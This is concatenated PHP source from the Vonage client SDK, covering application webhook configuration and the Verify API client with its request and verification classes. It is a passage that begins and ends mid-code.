'POST'; public const METHOD_GET = 'GET'; public ?string $socketTimeout = null; public ?string $connectionTimeout = null; public function __construct(protected ?string $url, protected ?string $method = self::METHOD_POST) { } public function getMethod(): ?string { return $this->method; } public function getUrl(): ?string { return $this->url; } public function __toString(): string { return $this->getUrl(); } public function getSocketTimeout(): ?string { return $this->socketTimeout; } public function setSocketTimeout(?string $socketTimeout): static { $this->socketTimeout = $socketTimeout; return $this; } public function getConnectionTimeout(): ?string { return $this->connectionTimeout; } public function setConnectionTimeout(?string $connectionTimeout): static { $this->connectionTimeout = $connectionTimeout; return $this; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use Exception; use InvalidArgumentException; use Vonage\Entity\Hydrator\HydratorInterface; class Hydrator implements HydratorInterface { /** * @throws Exception */ public function hydrate(array $data): Application { $application = new Application(); return $this->hydrateObject($data, $application); } /** * @throws Exception */ public function hydrateObject(array $data, $object): Application { if (isset($data['answer_url']) || isset($data['event_url'])) { return $this->createFromArrayV1($data, $object); } return $this->createFromArrayV2($data); } protected function createFromArrayV1(array $array, $application): Application { foreach (['name',] as $param) { if (!isset($array[$param])) { throw new InvalidArgumentException('missing expected key `' . $param . '`'); } } $application->setName($array['name']); // Public key? if (isset($array['public_key'])) { $application->setPublicKey($array['public_key']); } // Voice foreach (['event', 'answer'] as $type) { $key = $type . '_url'; if (isset($array[$key])) { $method = $array[$type . '_method'] ?? null; $application->getVoiceConfig()->setWebhook($key, new Webhook($array[$key], $method)); } } // Messages foreach (['status', 'inbound'] as $type) { $key = $type . '_url'; if (isset($array[$key])) { $method = $array[$type . '_method'] ?? null; $application->getMessagesConfig()->setWebhook($key, new Webhook($array[$key], $method)); } } // RTC foreach (['event'] as $type) { $key = $type . '_url'; if (isset($array[$key])) { $method = $array[$type . '_method'] ?? null; $application->getRtcConfig()->setWebhook($key, new Webhook($array[$key], $method)); } } // VBC if (isset($array['vbc']) && $array['vbc']) { $application->getVbcConfig()->enable(); } return $application; } /** * @throws Exception */ protected function createFromArrayV2(array $array): Application { foreach (['name',] as $param) { if (!isset($array[$param])) { throw new InvalidArgumentException('missing expected key `' . $param . '`'); } } $application = new Application(); $application->fromArray($array); $application->setName($array['name']); // Is there a public key? if (isset($array['keys']['public_key'])) { $application->setPublicKey($array['keys']['public_key']); } // How about capabilities? if (!isset($array['capabilities'])) { return $application; } $capabilities = $array['capabilities']; // Handle voice if (isset($capabilities['voice'])) { $voiceCapabilities = $capabilities['voice']['webhooks']; foreach (['answer', 'event'] as $type) { $application->getVoiceConfig()->setWebhook($type . '_url', new Webhook( $voiceCapabilities[$type . '_url']['address'], $voiceCapabilities[$type . '_url']['http_method'] )); } } // Handle messages if (isset($capabilities['messages'])) { $messagesCapabilities = $capabilities['messages']['webhooks']; foreach (['status', 'inbound'] as $type) { $application->getMessagesConfig()->setWebhook($type . '_url', new Webhook( $messagesCapabilities[$type . '_url']['address'], $messagesCapabilities[$type . '_url']['http_method'] )); } } // Handle RTC if (isset($capabilities['rtc'])) { $rtcCapabilities = $capabilities['rtc']['webhooks']; foreach (['event'] as $type) { $application->getRtcConfig()->setWebhook($type . '_url', new Webhook( $rtcCapabilities[$type . '_url']['address'], $rtcCapabilities[$type . '_url']['http_method'] )); } } // Handle VBC if (isset($capabilities['vbc'])) { $application->getVbcConfig()->enable(); } return $application; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use Exception; use JsonSerializable; use StdClass; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\JsonUnserializableInterface; use Vonage\Entity\Psr7Trait; use function count; use function ucfirst; class Application implements EntityInterface, JsonSerializable, ArrayHydrateInterface, \Stringable { use JsonSerializableTrait; use Psr7Trait; use JsonResponseTrait; /** * @var VoiceConfig */ protected $voiceConfig; /** * @var MessagesConfig */ protected $messagesConfig; /** * @var RtcConfig */ protected $rtcConfig; /** * @var VbcConfig */ protected $vbcConfig; protected $name; /** * @var array */ protected $keys = []; public function __construct(protected ?string $id = null) { } public function getId(): ?string { return $this->id; } public function setVoiceConfig(VoiceConfig $config): self { $this->voiceConfig = $config; return $this; } public function setMessagesConfig(MessagesConfig $config): self { $this->messagesConfig = $config; return $this; } public function setRtcConfig(RtcConfig $config): self { $this->rtcConfig = $config; return $this; } public function setVbcConfig(VbcConfig $config): self { $this->vbcConfig = $config; return $this; } /** * @throws Exception */ public function getVoiceConfig(): VoiceConfig { if (!isset($this->voiceConfig)) { $this->setVoiceConfig(new VoiceConfig()); $data = $this->getResponseData(); if (isset($data['voice']['webhooks'])) { foreach ($data['voice']['webhooks'] as $webhook) { $this->voiceConfig->setWebhook( $webhook['endpoint_type'], $webhook['endpoint'], $webhook['http_method'] ); } } } return $this->voiceConfig; } /** * @throws Exception */ public function getMessagesConfig(): MessagesConfig { if (!isset($this->messagesConfig)) { $this->setMessagesConfig(new MessagesConfig()); $data = $this->getResponseData(); if (isset($data['messages']['webhooks'])) { foreach ($data['messages']['webhooks'] as $webhook) { $this->getMessagesConfig()->setWebhook( $webhook['endpoint_type'], $webhook['endpoint'], $webhook['http_method'] ); } } } return $this->messagesConfig; } /** * @throws Exception */ public function getRtcConfig(): RtcConfig { if (!isset($this->rtcConfig)) { $this->setRtcConfig(new RtcConfig()); $data = $this->getResponseData(); if (isset($data['rtc']['webhooks'])) { foreach ($data['rtc']['webhooks'] as $webhook) { $this->getRtcConfig()->setWebhook( $webhook['endpoint_type'], $webhook['endpoint'], $webhook['http_method'] ); } } } return $this->rtcConfig; } public function getVbcConfig(): VbcConfig { if (!isset($this->vbcConfig)) { $this->setVbcConfig(new VbcConfig()); } return $this->vbcConfig; } public function setPublicKey(?string $key): self { $this->keys['public_key'] = $key; return $this; } public function getPublicKey(): ?string { return $this->keys['public_key'] ?? null; } public function getPrivateKey(): ?string { return $this->keys['private_key'] ?? null; } public function setName(string $name): self { $this->name = $name; return $this; } public function getName(): ?string { return $this->name; } public function jsonSerialize(): array { return $this->toArray(); } public function __toString(): string { return (string)$this->getId(); } public function fromArray(array $data): void { $this->name = $data['name']; $this->id = $data['id'] ?? null; $this->keys = $data['keys'] ?? []; if (isset($data['capabilities'])) { $capabilities = $data['capabilities']; //todo: make voice hydrate-able $this->voiceConfig = new VoiceConfig(); if (isset($capabilities['voice']['webhooks'])) { foreach ($capabilities['voice']['webhooks'] as $name => $details) { $this->voiceConfig->setWebhook($name, new Webhook($details['address'], $details['http_method'])); } } //todo: make messages hydrate-able $this->messagesConfig = new MessagesConfig(); if (isset($capabilities['messages']['webhooks'])) { foreach ($capabilities['messages']['webhooks'] as $name => $details) { $this->messagesConfig->setWebhook($name, new Webhook($details['address'], $details['http_method'])); } } //todo: make rtc hydrate-able $this->rtcConfig = new RtcConfig(); if (isset($capabilities['rtc']['webhooks'])) { foreach ($capabilities['rtc']['webhooks'] as $name => $details) { $this->rtcConfig->setWebhook($name, new Webhook($details['address'], $details['http_method'])); } } if (isset($capabilities['vbc'])) { $this->getVbcConfig()->enable(); } } } public function toArray(): array { // Build up capabilities that are set $availableCapabilities = [ 'voice' => [VoiceConfig::ANSWER, VoiceConfig::EVENT], 'messages' => [MessagesConfig::INBOUND, MessagesConfig::STATUS], 'rtc' => [RtcConfig::EVENT] ]; $capabilities = []; foreach ($availableCapabilities as $type => $values) { $configAccessorMethod = 'get' . ucfirst($type) . 'Config'; foreach ($values as $constant) { /** @var Webhook|\Vonage\Voice\Webhook $webhook */ $webhook = $this->$configAccessorMethod()->getWebhook($constant); if ($webhook) { if (!isset($capabilities[$type])) { $capabilities[$type]['webhooks'] = []; } $capabilities[$type]['webhooks'][$constant] = [ 'address' => $webhook->getUrl(), 'http_method' => $webhook->getMethod(), ]; if (!is_null($webhook->getConnectionTimeout())) { $capabilities[$type]['webhooks'][$constant]['connection_timeout'] = $webhook->getConnectionTimeout(); } if (!is_null($webhook->getSocketTimeout())) { $capabilities[$type]['webhooks'][$constant]['socket_timeout'] = $webhook->getSocketTimeout(); } } } } // Handle other Voice capabilities outside of that needlessly complicated webhook loop if (!is_null($this->getVoiceConfig()->getRegion())) { $capabilities['voice']['region'] = $this->getVoiceConfig()->getRegion(); } if (!is_null($this->getVoiceConfig()->getConversationsTtl())) { $capabilities['voice']['conversations_ttl'] = $this->getVoiceConfig()->getConversationsTtl(); } if (!is_null($this->getVoiceConfig()->getSignedCallbacks())) { $capabilities['voice']['signed_callbacks'] = $this->getVoiceConfig()->getSignedCallbacks(); } // Handle VBC specifically if ($this->getVbcConfig()->isEnabled()) { $capabilities['vbc'] = new StdClass(); } // Workaround API bug. It expects an object and throws 500 // if it gets an array if (!count($capabilities)) { $capabilities = (object)$capabilities; } return [ 'id' => $this->getId(), 'name' => $this->getName(), 'keys' => [ 'public_key' => $this->getPublicKey() ], 'capabilities' => $capabilities ]; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Application; use function trigger_error; class MessagesConfig { public const INBOUND = 'inbound_url'; public const STATUS = 'status_url'; /** * @var array */ protected $webhooks = []; public function setWebhook($type, $url, $method = null): self { if (!$url instanceof Webhook) { trigger_error( 'Passing a string URL and method are deprecated, please pass a Webhook object instead', E_USER_DEPRECATED ); $url = new Webhook($url, $method); } $this->webhooks[$type] = $url; return $this; } public function getWebhook($type) { return $this->webhooks[$type] ?? null; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\KeypairHandler; use Vonage\Client\Credentials\Handler\TokenBodyHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setIsHAL(false) ->setBaseUri('/verify') ->setErrorsOn200(true) ->setAuthHandler(new TokenBodyHandler()) ->setExceptionErrorHandler(new ExceptionErrorHandler()); return new Client($api); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use InvalidArgumentException; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use RuntimeException; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use function get_class; use function is_array; use function is_null; use function is_string; use function serialize; use function trigger_error; use function unserialize; class Client implements ClientAwareInterface, APIClient { use ClientAwareTrait; public function __construct(protected ?APIResource $api = null) { } /** * Shim to handle older instantiations of this class * Will change in v3 to just return the required API object */ public function getApiResource(): APIResource { if (is_null($this->api)) { $api = new APIResource(); $api->setClient($this->getClient()) ->setIsHAL(false) ->setBaseUri('/verify'); $this->api = $api; } return $this->api; } /** * @param string|array|Verification|Request $verification * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function start($verification): Verification { if (is_array($verification)) { trigger_error( 'Passing an array to Vonage\Verification\Client::start() is deprecated, ' . 'please pass a Vonage\Verify\Request object instead', E_USER_DEPRECATED ); } elseif (is_string($verification)) { trigger_error( 'Passing a string to Vonage\Verification\Client::start() is deprecated, ' . 'please pass a Vonage\Verify\Request object instead', E_USER_DEPRECATED ); } if ($verification instanceof Request) { // Reformat to an array to work with v2.x code, but prep for v3.0.0 $verification = $verification->toArray(); } $api = $this->getApiResource(); $verification = $this->createVerification($verification); $response = $api->create($verification->toArray(), '/json'); $this->processReqRes($verification, $api->getLastRequest(), $api->getLastResponse(), true); return $this->checkError($verification, $response); } /** * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * * @return array{request_id: string, status: string} */ public function requestPSD2(RequestPSD2 $request): array { $api = $this->getApiResource(); $response = $api->create($request->toArray(), '/psd2/json'); $this->checkError($request, $response); return $response; } /** * @param string|Verification $verification * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function search($verification) { if ($verification instanceof Verification) { trigger_error( 'Passing a Verification object to Vonage\Verification\Client::search() is deprecated, ' . 'please pass a string ID instead', E_USER_DEPRECATED ); } $api = $this->getApiResource(); $verification = $this->createVerification($verification); $params = [ 'request_id' => $verification->getRequestId() ]; $data = $api->create($params, '/search/json'); $this->processReqRes($verification, $api->getLastRequest(), $api->getLastResponse(), true); return $this->checkError($verification, $data); } /** * @param $verification * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function cancel($verification): Verification { if ($verification instanceof Verification) { trigger_error( 'Passing a Verification object to Vonage\Verification\Client::cancel() is deprecated, ' . 'please pass a string ID instead', E_USER_DEPRECATED ); } return $this->control($verification, 'cancel'); } /** * @param $verification * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function trigger($verification): Verification { if ($verification instanceof Verification) { trigger_error( 'Passing a Verification object to Vonage\Verification\Client::trigger() is deprecated, ' . 'please pass a string ID instead', E_USER_DEPRECATED ); } return $this->control($verification, 'trigger_next_event'); } /** * @param string|array|Verification $verification * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function check($verification, string $code, string $ip = null): Verification { if (is_array($verification)) { trigger_error( 'Passing an array for parameter 1 to Vonage\Verification\Client::check() is deprecated, ' . 'please pass a string ID instead', E_USER_DEPRECATED ); } elseif ($verification instanceof Verification) { trigger_error( 'Passing a Verification object for parameter 1 to Vonage\Verification\Client::check() is deprecated, ' . 'please pass a string ID instead', E_USER_DEPRECATED ); } $api = $this->getApiResource(); $verification = $this->createVerification($verification); $params = [ 'request_id' => $verification->getRequestId(), 'code' => $code ]; if (!is_null($ip)) { $params['ip'] = $ip; } $data = $api->create($params, '/check/json'); $this->processReqRes($verification, $api->getLastRequest(), $api->getLastResponse(), false); return $this->checkError($verification, $data); } /** * @deprecated Serialize the Verification object directly instead */ public function serialize(Verification $verification): string { trigger_error( $this::class . '::serialize() is deprecated, serialize the Verification object directly', E_USER_DEPRECATED ); return serialize($verification); } /** * @param $verification */ public function unserialize($verification): Verification { trigger_error( $this::class . '::unserialize() is deprecated, unserialize the Verification object directly', E_USER_DEPRECATED ); if (is_string($verification)) { $verification = unserialize($verification, [Verification::class]); } if (!($verification instanceof Verification)) { throw new InvalidArgumentException('expected verification object or serialize verification object'); } @$verification->setClient($this); return $verification; } /** * @param string|array|Verification $verification * @param string $cmd Next command to execute, must be `cancel` or `trigger_next_event` * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ protected function control($verification, string $cmd): Verification { if (is_array($verification)) { trigger_error( 'Passing an array for parameter 1 to Vonage\Verification\Client::control() is deprecated,' . 'please pass a string ID instead', E_USER_DEPRECATED ); } elseif ($verification instanceof Verification) { trigger_error( 'Passing a Verification object for parameter 1 to Vonage\Verification\Client::control() ' . 'is deprecated, please pass a string ID instead', E_USER_DEPRECATED ); } $api = $this->getApiResource(); $verification = $this->createVerification($verification); $params = [ 'request_id' => $verification->getRequestId(), 'cmd' => $cmd ]; $data = $api->create($params, '/control/json'); $this->processReqRes($verification, $api->getLastRequest(), $api->getLastResponse(), false); return $this->checkError($verification, $data); } /** * @param $verification * @param $data * * @throws ClientException\Request * @throws ClientException\Server */ protected function checkError($verification, $data) { if (!isset($data['status'])) { $e = new ClientException\Request('unexpected response from API'); $e->setEntity($data); throw $e; } //normalize errors (client vrs server) switch ($data['status']) { // These exist because `status` is valid in both the error // response and a success response, but serve different purposes // in each case case 'IN PROGRESS': case 'SUCCESS': case 'FAILED': case 'EXPIRED': case 'CANCELLED': case '0': return $verification; case '5': $e = new ClientException\Server($data['error_text'], (int)$data['status']); $e->setEntity($data); break; default: $e = new ClientException\Request($data['error_text'], (int)$data['status']); $e->setEntity($data); if (array_key_exists('request_id', $data)) { $e->setRequestId($data['request_id']); } if (array_key_exists('network', $data)) { $e->setNetworkId($data['network']); } break; } $e->setEntity($verification); throw $e; } /** * @param bool $replace */ protected function processReqRes( Verification $verification, RequestInterface $req, ResponseInterface $res, $replace = true ): void { @$verification->setClient($this); if ($replace || !@$verification->getRequest()) { @$verification->setRequest($req); } if ($replace || !@$verification->getResponse()) { @$verification->setResponse($res); } if ($res->getBody()->isSeekable()) { $res->getBody()->rewind(); } } /** * Creates a verification object from a variety of sources * * @param $verification */ protected function createVerification($verification): Verification { if ($verification instanceof Verification) { return $verification; } if (is_array($verification)) { return $this->createVerificationFromArray($verification); } if (is_string($verification)) { return new Verification($verification); } throw new RuntimeException('Unable to create Verification object from source data'); } /** * @param $array */ protected function createVerificationFromArray($array): Verification { if (!is_array($array)) { throw new RuntimeException('verification must implement `' . VerificationInterface::class . '` or be an array`'); } foreach (['number', 'brand'] as $param) { if (!isset($array[$param])) { throw new InvalidArgumentException('missing expected key `' . $param . '`'); } } $number = $array['number']; $brand = $array['brand']; unset($array['number'], $array['brand']); return @new Verification($number, $brand, $array); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use InvalidArgumentException; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use function array_key_exists; use function strlen; class RequestPSD2 implements ArrayHydrateInterface { public const PIN_LENGTH_4 = 4; public const PIN_LENGTH_6 = 6; public const WORKFLOW_SMS_TTS_TSS = 1; public const WORKFLOW_SMS_SMS_TSS = 2; public const WORKFLOW_TTS_TSS = 3; public const WORKFLOW_SMS_SMS = 4; public const WORKFLOW_SMS_TTS = 5; public const WORKFLOW_SMS = 6; public const WORKFLOW_TTS = 7; /** * @var string */ protected $country; /** * @var int */ protected $codeLength; /** * @var string */ protected $locale; /** * @var int */ protected $pinExpiry; /** * @var int */ protected $nextEventWait; /** * @var int */ protected $workflowId; public function __construct(protected string $number, protected string $payee, protected string $amount, int $workflowId = null) { if ($workflowId) { $this->setWorkflowId($workflowId); } } public function getCountry(): ?string { return $this->country; } /** * @return $this */ public function setCountry(string $country): self { if (strlen($country) !== 2) { throw new InvalidArgumentException('Country must be in two character format'); } $this->country = $country; return $this; } public function getCodeLength(): ?int { return $this->codeLength; } /** * @return $this */ public function setCodeLength(int $codeLength): self { if ($codeLength !== 4 || $codeLength !== 6) { throw new InvalidArgumentException('Pin length must be either 4 or 6 digits'); } $this->codeLength = $codeLength; return $this; } public function getLocale(): ?string { return $this->locale; } /** * @return $this */ public function setLocale(string $locale): self { $this->locale = $locale; return $this; } public function getPinExpiry(): ?int { return $this->pinExpiry; } /** * @return $this */ public function setPinExpiry(int $pinExpiry): self { if ($pinExpiry < 60 || $pinExpiry > 3600) { throw new InvalidArgumentException('Pin expiration must be between 60 and 3600 seconds'); } $this->pinExpiry = $pinExpiry; return $this; } public function getNextEventWait(): ?int { return $this->nextEventWait; } /** * @return $this */ public function setNextEventWait(int $nextEventWait): self { if ($nextEventWait < 60 || $nextEventWait > 3600) { throw new InvalidArgumentException('Next Event time must be between 60 and 900 seconds'); } $this->nextEventWait = $nextEventWait; return $this; } public function getWorkflowId(): ?int { return $this->workflowId; } /** * @return $this */ public function setWorkflowId(int $workflowId): self { if ($workflowId < 1 || $workflowId > 7) { throw new InvalidArgumentException('Workflow ID must be from 1 to 7'); } $this->workflowId = $workflowId; return $this; } public function getNumber(): string { return $this->number; } public function getPayee(): string { return $this->payee; } public function getAmount(): string { return $this->amount; } public function fromArray(array $data): void { if (array_key_exists('code_length', $data)) { $this->setCodeLength($data['code_length']); } if (array_key_exists('pin_expiry', $data)) { $this->setPinExpiry($data['pin_expiry']); } if (array_key_exists('next_event_wait', $data)) { $this->setNextEventWait($data['next_event_wait']); } if (array_key_exists('workflow_id', $data)) { $this->setWorkflowId($data['workflow_id']); } if (array_key_exists('country', $data)) { $this->setCountry($data['country']); } if (array_key_exists('lg', $data)) { $this->setLocale($data['lg']); } } /** * @return string[] */ public function toArray(): array { $data = [ 'number' => $this->getNumber(), 'amount' => $this->getAmount(), 'payee' => $this->getPayee(), ]; if ($this->getCodeLength()) { $data['code_length'] = $this->getCodeLength(); } if ($this->getPinExpiry()) { $data['pin_expiry'] = $this->getPinExpiry(); } if ($this->getNextEventWait()) { $data['next_event_wait'] = $this->getNextEventWait(); } if ($this->getWorkflowId()) { $data['workflow_id'] = $this->getWorkflowId(); } if ($this->getCountry()) { $data['country'] = $this->getCountry(); } if ($this->getLocale()) { $data['lg'] = $this->getLocale(); } return $data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\Exception\Request; use Vonage\Client\Exception\Server; use function json_decode; /** * Error handler for API requests returned by the Verify API */ class ExceptionErrorHandler { /** * @todo This should throw a Server exception instead of Request, fix next major release * @throws Request */ public function __invoke(ResponseInterface $response, RequestInterface $request) { $data = json_decode($response->getBody()->getContents(), true); $response->getBody()->rewind(); $e = null; if (!isset($data['status'])) { $e = new Request('unexpected response from API'); $e->setEntity($data); throw $e; } //normalize errors (client vrs server) switch ($data['status']) { // These exist because `status` is valid in both the error // response and a success response, but serve different purposes // in each case case 'IN PROGRESS': case 'SUCCESS': case 'FAILED': case 'EXPIRED': case 'CANCELLED': case '0': break; case '5': default: $e = new Request($data['error_text'], (int)$data['status']); $e->setEntity($data); throw $e; } } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use DateTime; use Exception; class Check { /** * Possible status of checking a code. */ public const VALID = 'VALID'; public const INVALID = 'INVALID'; public function __construct(protected array $data) { } public function getCode() { return $this->data['code']; } /** * @throws Exception */ public function getDate(): DateTime { return new DateTime($this->data['date_received']); } public function getStatus() { return $this->data['status']; } public function getIpAddress() { return $this->data['ip_address']; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use InvalidArgumentException; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use function array_key_exists; use function strlen; class Request implements ArrayHydrateInterface { public const PIN_LENGTH_4 = 4; public const PIN_LENGTH_6 = 6; public const WORKFLOW_SMS_TTS_TSS = 1; public const WORKFLOW_SMS_SMS_TSS = 2; public const WORKFLOW_TTS_TSS = 3; public const WORKFLOW_SMS_SMS = 4; public const WORKFLOW_SMS_TTS = 5; public const WORKFLOW_SMS = 6; public const WORKFLOW_TTS = 7; /** * @var string */ protected $country; /** * @var string */ protected $senderId = 'VERIFY'; /** * @var int */ protected $codeLength = 4; /** * @var string */ protected $locale; /** * @var int */ protected $pinExpiry = 300; /** * @var int */ protected $nextEventWait = 300; /** * @var int */ protected $workflowId = 1; public function __construct(protected string $number, protected string $brand, int $workflowId = 1) { $this->setWorkflowId($workflowId); } public function getCountry(): ?string { return $this->country; } /** * @return $this */ public function setCountry(string $country): self { if (strlen($country) !== 2) { throw new InvalidArgumentException('Country must be in two character format'); } $this->country = $country; return $this; } public function getSenderId(): string { return $this->senderId; } /** * @return $this */ public function setSenderId(string $senderId): self { $this->senderId = $senderId; return $this; } public function getCodeLength(): int { return $this->codeLength; } /** * @return $this */ public function setCodeLength(int $codeLength): self { if ($codeLength !== self::PIN_LENGTH_4 && $codeLength !== self::PIN_LENGTH_6) { throw new InvalidArgumentException( sprintf('Pin length must be either %d or %d digits', self::PIN_LENGTH_4, self::PIN_LENGTH_6) ); } $this->codeLength = $codeLength; return $this; } public function getLocale(): ?string { return $this->locale; } /** * @return $this */ public function setLocale(string $locale): self { $this->locale = $locale; return $this; } public function getPinExpiry(): int { return $this->pinExpiry; } /** * @return $this */ public function setPinExpiry(int $pinExpiry): self { if ($pinExpiry < 60 || $pinExpiry > 3600) { throw new InvalidArgumentException('Pin expiration must be between 60 and 3600 seconds'); } $this->pinExpiry = $pinExpiry; return $this; } public function getNextEventWait(): int { return $this->nextEventWait; } /** * @return $this */ public function setNextEventWait(int $nextEventWait): self { if ($nextEventWait < 60 || $nextEventWait > 3600) { throw new InvalidArgumentException('Next Event time must be between 60 and 900 seconds'); } $this->nextEventWait = $nextEventWait; return $this; } public function getWorkflowId(): int { return $this->workflowId; } /** * @return $this */ public function setWorkflowId(int $workflowId): self { if ($workflowId < 1 || $workflowId > 7) { throw new InvalidArgumentException('Workflow ID must be from 1 to 7'); } $this->workflowId = $workflowId; return $this; } public function getNumber(): string { return $this->number; } public function getBrand(): string { return $this->brand; } public function fromArray(array $data): void { if (array_key_exists('sender_id', $data)) { $this->setSenderId($data['sender_id']); } if (array_key_exists('code_length', $data)) { $this->setCodeLength($data['code_length']); } if (array_key_exists('pin_expiry', $data)) { $this->setPinExpiry($data['pin_expiry']); } if (array_key_exists('next_event_wait', $data)) { $this->setNextEventWait($data['next_event_wait']); } if (array_key_exists('workflow_id', $data)) { $this->setWorkflowId($data['workflow_id']); } if (array_key_exists('country', $data)) { $this->setCountry($data['country']); } if (array_key_exists('lg', $data)) { $this->setLocale($data['lg']); } } public function toArray(): array { $data = [ 'number' => $this->getNumber(), 'brand' => $this->getBrand(), 'sender_id' => $this->getSenderId(), 'code_length' => $this->getCodeLength(), 'pin_expiry' => $this->getPinExpiry(), 'next_event_wait' => $this->getNextEventWait(), 'workflow_id' => $this->getWorkflowId() ]; if ($this->getCountry()) { $data['country'] = $this->getCountry(); } if ($this->getLocale()) { $data['lg'] = $this->getLocale(); } return $data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Verify; use DateTime; use Exception; use Laminas\Diactoros\Request\Serializer as RequestSerializer; use Laminas\Diactoros\Response\Serializer as ResponseSerializer; use Psr\Http\Client\ClientExceptionInterface; use RuntimeException; use Serializable; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Client\Exception\Request as RequestException; use Vonage\Client\Exception\Server as ServerException; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\Psr7Trait; use Vonage\Entity\RequestArrayTrait; use function array_merge; use function get_class; use function is_null; use function serialize; use function sprintf; use function trigger_error; use function unserialize; /** * Serializable interface is deprecated and will be removed in the future */ class Verification implements VerificationInterface, Serializable, ArrayHydrateInterface { use Psr7Trait; /** * @deprecated */ use RequestArrayTrait; use JsonResponseTrait; /** * Possible verification statuses. */ public const FAILED = 'FAILED'; public const SUCCESSFUL = 'SUCCESSFUL'; public const EXPIRED = 'EXPIRED'; public const IN_PROGRESS = 'IN PROGRESS'; protected $dirty = true; /** * @deprecated Use the Vonage\Verify\Client instead to interact with the API * * @var Client; */ protected $client; /** * Verification constructor. * * Create a verification with a number and brand, or the `request_id` of an existing verification. * Note that in the future, this constructor will accept only the ID as the first parameter. * * @param $idOrNumber * @param $brand * @param array $additional */ public function __construct($idOrNumber, $brand = null, array $additional = []) { if (is_null($brand)) { $this->dirty = false; $this->requestData['request_id'] = $idOrNumber; } else { trigger_error( 'Using ' . $this::class . ' for starting a verification is deprecated, ' . 'please use Vonage\Verify\Request instead', E_USER_DEPRECATED ); $this->dirty = true; $this->requestData['number'] = $idOrNumber; $this->requestData['brand'] = $brand; $this->requestData = array_merge($this->requestData, $additional); } } /** * Allow Verification to have actions. * * @param Client $client Verify Client * * @return $this * * @deprecated Use the Vonage\Verification\Client service object directly */ public function setClient(Client $client): self { trigger_error( 'Setting a client directly on a Verification object is deprecated, ' . 'please use the Vonage\Verification\Client service object directly', E_USER_DEPRECATED ); $this->client = $client; return $this; } /** * @deprecated Use the Vonage\Verification\Client service object directly */ protected function useClient(): ?Client { if (isset($this->client)) { return $this->client; } throw new RuntimeException('can not act on the verification directly unless a verify client has been set'); } /** * Check if the code is correct. Unlike the method it proxies, an invalid code does not throw an exception. * * @param $code * @param $ip * * @throws ClientException * @throws RequestException * @throws ServerException * @throws ClientExceptionInterface */ public function check($code, $ip = null): ?bool { trigger_error( 'Vonage\Verify\Verification::check() is deprecated, use Vonage\Verification\Client::check()', E_USER_DEPRECATED ); try { if (null !== 